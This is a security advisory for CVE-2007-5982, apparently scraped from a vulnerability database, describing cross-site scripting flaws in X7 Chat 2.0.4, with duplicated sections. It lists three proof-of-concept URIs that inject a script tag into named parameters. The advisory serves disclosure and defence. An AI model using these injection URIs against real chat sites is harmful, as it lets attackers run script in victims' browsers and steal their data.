X7 Chat Multiple Cross Site Scripting Vulnerabilities
BID:26417
Info
X7 Chat Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 26417 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-5982 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 12 2007 12:00AM |
| Updated: | Nov 22 2007 11:34PM |
| Credit: | ShAy6oOoN is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
X7 Group X7 Chat 2.0.4 |
| Not Vulnerable: | |
Discussion
X7 Chat Multiple Cross Site Scripting Vulnerabilities
X7 Chat is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.
These issues affect X7 Chat 2.0.4; other versions may be also vulnerable.
X7 Chat is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.
These issues affect X7 Chat 2.0.4; other versions may be also vulnerable.
Exploit / POC
X7 Chat Multiple Cross Site Scripting Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
The following proof-of-concept URIs are available:
http://www.example.com/upgradev1.php?INSTALL_X7CHATVERSION=<script>alert(123);</script>
http://www.example.com/help/index.php?theme_c=<script>alert(123);</script>
http://www.example.com/sources/frame.php?room=<script>alert(123);</script>
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
The following proof-of-concept URIs are available:
http://www.example.com/upgradev1.php?INSTALL_X7CHATVERSION=<script>alert(123);</script>
http://www.example.com/help/index.php?theme_c=<script>alert(123);</script>
http://www.example.com/sources/frame.php?room=<script>alert(123);</script>
Solution / Fix
X7 Chat Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].